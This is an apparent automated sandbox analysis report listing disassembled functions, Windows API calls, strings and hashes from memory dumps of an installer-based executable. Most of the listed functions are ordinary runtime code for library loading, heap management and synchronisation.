Opcode ID: febcd82a45f12c65f5a444f944e218246724fa12598379820bdc7a09f338e8af
Instruction ID: f87c0172967748f205a3a8f32cc3a237f5dbcdba6a19014c4340521fbbd45e52
Opcode Fuzzy Hash: febcd82a45f12c65f5a444f944e218246724fa12598379820bdc7a09f338e8af
Instruction Fuzzy Hash: 8D11E371B40621ABCB32CA698854B4D77A4BF027A0F160121EA55FB290DF70ED0287F2

Uniqueness

Uniqueness Score: -1.00%

Function 0034E04C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,?,?,?,0034E10F,?,?,00000000,?,?,0034E1C1,00000002,FlsGetValue,003CE140,003CE148), ref: 0034E0DD

Strings

api-ms-, xrefs: 0034E09D

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-
API String ID: 3664257935-2084034818
Opcode ID: b2ef0c24f1df57264b1c22638b9cb8657cceb196c2f48ae49070002b339a5263
Instruction ID: c5ba350f6d635c10eade71c2e8421dfa89f666c8f3e38c9647082fc3cc2b89ef
Opcode Fuzzy Hash: b2ef0c24f1df57264b1c22638b9cb8657cceb196c2f48ae49070002b339a5263
Instruction Fuzzy Hash: 80117331A41231ABDB238B6AAC41B5D37D8AF01760F260521F929EF280D6B0FD0087D6

Uniqueness

Uniqueness Score: -1.00%

Function 6A57A96E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,AA831995,00000001,?,00000000,6A59F614,000000FF,?,6A57A8FE,?,?,6A57A8D2,00000016), ref: 6A57A9A3
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 6A57A9B5
FreeLibrary.KERNEL32(00000000,?,00000000,6A59F614,000000FF,?,6A57A8FE,?,?,6A57A8D2,00000016), ref: 6A57A9D7

Strings

CorExitProcess, xrefs: 6A57A9AD
mscoree.dll, xrefs: 6A57A99C

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 296fcc1a35a06ed5838a1f00aeace9c010c77ab5ed3eb66ce68a81211c8516ed
Instruction ID: 3f31f90ccf25682fce1eb09d267fcc2ce332fb693fc12fc6bb997da21824f2a4
Opcode Fuzzy Hash: 296fcc1a35a06ed5838a1f00aeace9c010c77ab5ed3eb66ce68a81211c8516ed
Instruction Fuzzy Hash: 1B014F75A00559EBDF11CB90CC04FAEBBF9FB05651F02452AFA22E2690DF75D900CAA0

Uniqueness

Uniqueness Score: -1.00%

Function 0035EA83 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,DF534560,?,?,00000000,003CA4FA,000000FF,?,0035EA13,?,?,0035E9E7,?), ref: 0035EAB8
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0035EACA
FreeLibrary.KERNEL32(00000000,?,?,00000000,003CA4FA,000000FF,?,0035EA13,?,?,0035E9E7,?), ref: 0035EAEC

Strings

mscoree.dll, xrefs: 0035EAB1
CorExitProcess, xrefs: 0035EAC2

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 6c123f4f5efa36286a737e72d71d991c51bb1959e1518519b3f4299811cabc91
Instruction ID: b8fd1a70ad87edcc1a6c31eb31dc154e35d57aa2cb09c3e6ebb76679a122faef
Opcode Fuzzy Hash: 6c123f4f5efa36286a737e72d71d991c51bb1959e1518519b3f4299811cabc91
Instruction Fuzzy Hash: B7016236950669EBDB179F94DC09FAEBBBCFB04B15F004625F811E26A0DB749A04CB50

Uniqueness

Uniqueness Score: -1.00%

Function 002BE160 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 39libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00349842: EnterCriticalSection.KERNEL32(00459EA0,-00000010,?,?,001B9EC6,0045AAD4,DF534560,?,?,0037191D,000000FF,?,001BCB1F,DF534560,-00000010,?), ref: 0034984D
Part of subcall function 00349842: LeaveCriticalSection.KERNEL32(00459EA0,?,001B9EC6,0045AAD4,DF534560,?,?,0037191D,000000FF,?,001BCB1F,DF534560,-00000010,?,?,00000008), ref: 0034988A

LoadLibraryA.KERNEL32(Dbghelp.dll,SymFromAddr), ref: 002BE1BE
GetProcAddress.KERNEL32(00000000), ref: 002BE1C5
__Init_thread_footer.LIBCMT ref: 002BE1DC

Part of subcall function 003497F8: EnterCriticalSection.KERNEL32(00459EA0,?,?,001B9F37,0045AAD4,003CA720), ref: 00349802
Part of subcall function 003497F8: LeaveCriticalSection.KERNEL32(00459EA0,?,001B9F37,0045AAD4,003CA720), ref: 00349835
Part of subcall function 003497F8: RtlWakeAllConditionVariable.NTDLL ref: 003498AC

Strings

SymFromAddr, xrefs: 002BE1B4
Dbghelp.dll, xrefs: 002BE1B9

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AddressConditionInit_thread_footerLibraryLoadProcVariableWake
String ID: Dbghelp.dll$SymFromAddr
API String ID: 3268644551-642441706
Opcode ID: f56a19e33f409663bd3e67191a3e1da340ba4c285aa0dc0cfeab5c75e9888433
Instruction ID: 874afd2a26e4c7821dfac8b01de24ffb12a85a690801f4881e028032b4e40a18
Opcode Fuzzy Hash: f56a19e33f409663bd3e67191a3e1da340ba4c285aa0dc0cfeab5c75e9888433
Instruction Fuzzy Hash: 0C015EB1A44744DBCB11DF58DC45B89B7A4F708721F10023AF82A97BD5D7B5B900CB45

Uniqueness

Uniqueness Score: -1.00%

Function 00221C80 Relevance: 7.8, APIs: 4, Strings: 1, Instructions: 316memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?), ref: 00221EFB
HeapFree.KERNEL32(00000000,?,?), ref: 00221F01
GetProcessHeap.KERNEL32(?,?), ref: 00221FD0
HeapFree.KERNEL32(00000000,?,?), ref: 00221FD6

Strings

Lt=, xrefs: 00221E2F

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Heap$FreeProcess
String ID: Lt=
API String ID: 3859560861-2516213077
Opcode ID: 2892cb6645dd884e94e4ff58a9fa87e1c4980ae9d90c81d60d56bf1978edf540
Instruction ID: 3aaf37e180a6e9b6e1faf52ed9198a5b3f8e95e099b10943b676d23e9694bad4
Opcode Fuzzy Hash: 2892cb6645dd884e94e4ff58a9fa87e1c4980ae9d90c81d60d56bf1978edf540
Instruction Fuzzy Hash: F3D17B30D10318EFDB14DFA8C954BEEBBB5BF64304F244169D405AB292DB74AE19CB91

Uniqueness

Uniqueness Score: -1.00%

Function 001E8EE0 Relevance: 7.8, APIs: 4, Strings: 1, Instructions: 270memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,00000000), ref: 001E903B
HeapFree.KERNEL32(00000000,?,00000000), ref: 001E9041
GetProcessHeap.KERNEL32(?,00000000), ref: 001E90BA
HeapFree.KERNEL32(00000000,?,00000000), ref: 001E90C0
Concurrency::cancel_current_task.LIBCPMT ref: 001E9298

Strings

Lt=, xrefs: 001E9015
v=, xrefs: 001E90F8
t=, xrefs: 001E8E7D
Lt=, xrefs: 001E9096

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Heap$FreeProcess$Concurrency::cancel_current_task
String ID: v=$Lt=$Lt=$t=
API String ID: 3488363583-1593079143
Opcode ID: 9c4c77bad18fdf6f100517175c74f6e43d1c888c5aa88c420cd091d3aca47694
Instruction ID: 72c0472e68d51a1dda17b5e9d98544f21868322e53f3ea4e3794da3068c7f506
Opcode Fuzzy Hash: 9c4c77bad18fdf6f100517175c74f6e43d1c888c5aa88c420cd091d3aca47694
Instruction Fuzzy Hash: 47B16D70D00759EFDB15CFA9C845BEEBBB8BF45704F248199F415AB281DB74AA04CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 001F5920 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 235memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?), ref: 001F5B21
HeapFree.KERNEL32(00000000,?,?), ref: 001F5B27
GetProcessHeap.KERNEL32(?,?), ref: 001F5BB3
HeapFree.KERNEL32(00000000,?,?), ref: 001F5BB9

Strings

Lt=, xrefs: 001F5ACE

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Heap$FreeProcess
String ID: Lt=
API String ID: 3859560861-2516213077
Opcode ID: 38115bc9596c76c5a722498d527533421c17730a3df90b69eb4ce3e40869835a
Instruction ID: 7849e049cfc42a196880795b749d523c62bdf074fd44c87cb09e6b1188b9afdf
Opcode Fuzzy Hash: 38115bc9596c76c5a722498d527533421c17730a3df90b69eb4ce3e40869835a
Instruction Fuzzy Hash: F291E070D0064CDFDB15DFA4C945BEEBBB6FF54314F20425AE611AB291DB74AA04CB90

Uniqueness

Uniqueness Score: -1.00%

Function 001F4740 Relevance: 7.7, APIs: 4, Strings: 1, Instructions: 171memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(?,?,?,?), ref: 001F4881
HeapFree.KERNEL32(00000000,?,?,?,?), ref: 001F4887
GetProcessHeap.KERNEL32(?,?,?,?), ref: 001F4913
HeapFree.KERNEL32(00000000,?,?,?,?), ref: 001F4919

Strings

Lt=, xrefs: 001F482E

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Heap$FreeProcess
String ID: Lt=
API String ID: 3859560861-2516213077
Opcode ID: 6047bc72506e14c3d245016f5437bd5953c566a51d37b8cec01cd642acab1aaf
Instruction ID: a564d8ee0166460b091d0f911457cbcd91cbcfbd1a5969d08552a51661f16e12
Opcode Fuzzy Hash: 6047bc72506e14c3d245016f5437bd5953c566a51d37b8cec01cd642acab1aaf
Instruction Fuzzy Hash: EF61DC70E0028CEFDF15DBA4D844BEFBBB5BF55314F10426AE502AB291DB74AA05CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6A55F070 Relevance: 7.6, APIs: 5, Instructions: 122COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6A55F0A4
std::_Lockit::_Lockit.LIBCPMT ref: 6A55F0C6
std::_Lockit::~_Lockit.LIBCPMT ref: 6A55F0EE
std::_Facet_Register.LIBCPMT ref: 6A55F1D7
std::_Lockit::~_Lockit.LIBCPMT ref: 6A55F201

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 2bd933bb64f1d8824d23e2c843d2347adfda99c8f158e7e368e964735ef42d4d
Instruction ID: adf881349570f76e7f33041d8abe2252f11351c205ebcdc0185237af3e26af1a
Opcode Fuzzy Hash: 2bd933bb64f1d8824d23e2c843d2347adfda99c8f158e7e368e964735ef42d4d
Instruction Fuzzy Hash: EB519C70D00258EFDB11CF98C884B9EBBF4EF01318F26455AE845AB391DB75AE05CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6A55F9F0 Relevance: 7.6, APIs: 5, Instructions: 109COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 6A55FA1D
std::_Lockit::_Lockit.LIBCPMT ref: 6A55FA40
std::_Lockit::~_Lockit.LIBCPMT ref: 6A55FA68
std::_Facet_Register.LIBCPMT ref: 6A55FADD
std::_Lockit::~_Lockit.LIBCPMT ref: 6A55FB07

Memory Dump Source

Source File: 00000014.00000002.2490673887.000000006A521000.00000020.00000001.01000000.0000001E.sdmp, Offset: 6A520000, based on PE: true

Associated: 00000014.00000002.2490646532.000000006A520000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490733233.000000006A5A1000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490766295.000000006A5CC000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000014.00000002.2490815908.000000006A5D8000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_6a520000_a1.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 58ba56c0fe9c2cb389e7c216c1ed88ff5750e33a604f374d8edaeb9f5a1ec5f8
Instruction ID: fea7b55e18c6afb5669fd9944fc1ed266e4a814812282017c28772c7c3fbbfa8
Opcode Fuzzy Hash: 58ba56c0fe9c2cb389e7c216c1ed88ff5750e33a604f374d8edaeb9f5a1ec5f8
Instruction Fuzzy Hash: 5641B271800255EFDB12DF58C44479EBBB8EF05314F16425BE814A7382DB30AE45CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 001BE750 Relevance: 7.6, APIs: 5, Instructions: 60memorywindowCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000000), ref: 001BE79A
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 001BE7A0
FormatMessageW.KERNEL32(00001300,00000000,?,00000400,00000000,00000000,00000000), ref: 001BE7C3
GetProcessHeap.KERNEL32(00000000,00000000,?,?,?,00372D76,000000FF), ref: 001BE7EB
HeapFree.KERNEL32(00000000,00000000,00000000,?,?,?,00372D76,000000FF), ref: 001BE7F1

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Heap$FreeProcess$FormatMessage
String ID:
API String ID: 1606019998-0
Opcode ID: eeb155492ba3870deb5f28d0dbdd369e905de46340e48d3008492fa06c1b7c32
Instruction ID: d96b7b76207806f4970112834e0a8f3995af57c5ac661b67b7e16a5d9b42a471
Opcode Fuzzy Hash: eeb155492ba3870deb5f28d0dbdd369e905de46340e48d3008492fa06c1b7c32
Instruction Fuzzy Hash: 65114CB0E04719ABEB11DF94CC46BAFBBE8AB04B04F104519F910AB2C1D7B9A90487D0

Uniqueness

Uniqueness Score: -1.00%

Function 001BAD50 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 315synchronizationCOMMON

Download Yara Rule

APIs

CreateEventExW.KERNEL32(00000000,00000000,00000001,001F0003,?,00000000,00000000,00000000,?,?), ref: 001BB08B
WaitForSingleObject.KERNEL32(?,000000FF), ref: 001BB0CB

Part of subcall function 001BB6E0: GetProcessHeap.KERNEL32(?,00000000,003D744C,003D744A,?,?,?,?,DF534560,?), ref: 001BB7D6
Part of subcall function 001BB6E0: HeapFree.KERNEL32(00000000,?,00000000,003D744C,003D744A,?,?,?,?,DF534560,?), ref: 001BB7DC

Strings

:, xrefs: 001BB157
t=, xrefs: 001BB09F, 001BB0A5

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Heap$CreateEventFreeObjectProcessSingleWait
String ID: :$t=
API String ID: 2599534607-1013641504
Opcode ID: 09472012ab7a34d8446e62ad5c77b3741c736105c9ce854357c9d61aa6f4e47d
Instruction ID: efe8da778c3395a8a4907447036d75863102b5ca9a1272652187a8c29703f570
Opcode Fuzzy Hash: 09472012ab7a34d8446e62ad5c77b3741c736105c9ce854357c9d61aa6f4e47d
Instruction Fuzzy Hash: 93E15C70C0528CEEEB01DFA8D9997EDBFB4AF21308F248199D0516B2D2D7B51B48DB91

Uniqueness

Uniqueness Score: -1.00%

Function 002E45F0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 167COMMON

Download Yara Rule

APIs

Part of subcall function 001B9E20: GetProcessHeap.KERNEL32 ref: 001B9E75
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9EA7
Part of subcall function 001B9E20: __Init_thread_footer.LIBCMT ref: 001B9F32

CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,003B25BF,000000FF), ref: 002E4773
DeleteCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,003B25BF,000000FF), ref: 002E4801

Strings

<< Advanced Installer (x86) Log >>, xrefs: 002E46DF
t=, xrefs: 002E4764

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: Init_thread_footer$CloseCriticalDeleteHandleHeapProcessSection
String ID: << Advanced Installer (x86) Log >>$t=
API String ID: 3699736680-71087651
Opcode ID: e88950dbc1c18a8739e0eec4cee7b5d1b25def73ae394d9324a8a731feb694df
Instruction ID: 880e4952cbb7ad8388059d9b0e42a26c20560ac10c577b725a12e97cf630e667
Opcode Fuzzy Hash: e88950dbc1c18a8739e0eec4cee7b5d1b25def73ae394d9324a8a731feb694df
Instruction Fuzzy Hash: A961DE70901686DFDB01CF69D948B9EFBF4EF46315F1082A9E4049B792DB74AA04CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 002F4450 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 166synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF,DF534560,00000000,?,?,?,00000000,?,?,?,?,?,?,00000000), ref: 002F4484

Part of subcall function 002B5460: MultiByteToWideChar.KERNEL32(00000003,00000000,7508EB20,000000FF,00000000,00000000,?,?,759234C0,80004005,?,?,?,003AE8AD,000000FF,?), ref: 002B5478
Part of subcall function 002B5460: MultiByteToWideChar.KERNEL32(00000003,00000000,7508EB20,000000FF,?,-00000001,?,?,759234C0,80004005,?,?,?,003AE8AD,000000FF,?), ref: 002B54AA

Part of subcall function 001C7340: RaiseException.KERNEL32(DF534560,DF534560,00000000,00000000,002F56DB,C000008C,00000001,DF534560), ref: 001C734C

Part of subcall function 001B9AE0: RtlAllocateHeap.NTDLL(?,00000000,?,DF534560,00000000,00371390,000000FF,?,?,0044E7AC,?,001BCB99,80004005,DF534560,-00000010,?), ref: 001B9B2A

Strings

.jar, xrefs: 002F490C
.pack, xrefs: 002F47C1
*.*, xrefs: 002F44FA, 002F450C, 002F4514

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488035341.0000000000459000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488056393.000000000045C000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_1b0000_a1.jbxd

Similarity

API ID: ByteCharMultiWide$AllocateExceptionHeapObjectRaiseSingleWait
String ID: *.*$.jar$.pack
API String ID: 2917691982-3892993289
Opcode ID: 773f1afde3a912003124896970887539440fd65ca8e451dc315e1e145651df69
Instruction ID: 86c0e1ab694916b7bf2ab5a1425b22a8275b9a6f2623a0ef5f7c8772f060c3a1
Opcode Fuzzy Hash: 773f1afde3a912003124896970887539440fd65ca8e451dc315e1e145651df69
Instruction Fuzzy Hash: 94518E70A0061A9FDB10EFA9C844BAFF7B8FF45354F104269E525EB291DB74D914CB90

Uniqueness

Uniqueness Score: -1.00%

Function 001CB780 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 161COMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000000,00000000,Caphyon.AI.ExtUI.IEClickSoundRemover,DF534560), ref: 001CB821
GetLastError.KERNEL32 ref: 001CB84A

Strings

AppEvents\Schemes\Apps\Explorer\Navigating\.Current, xrefs: 001CB88A
Caphyon.AI.ExtUI.IEClickSoundRemover, xrefs: 001CB816

Memory Dump Source

Source File: 00000014.00000002.2487719493.00000000001B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000014.00000002.2487690324.00000000001B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487913830.00000000003CC000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2487992773.0000000000453000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000014.00000002.2488012045.0000000000458000.00000008.00000001.01000000.0000001A.sdmpDownload File
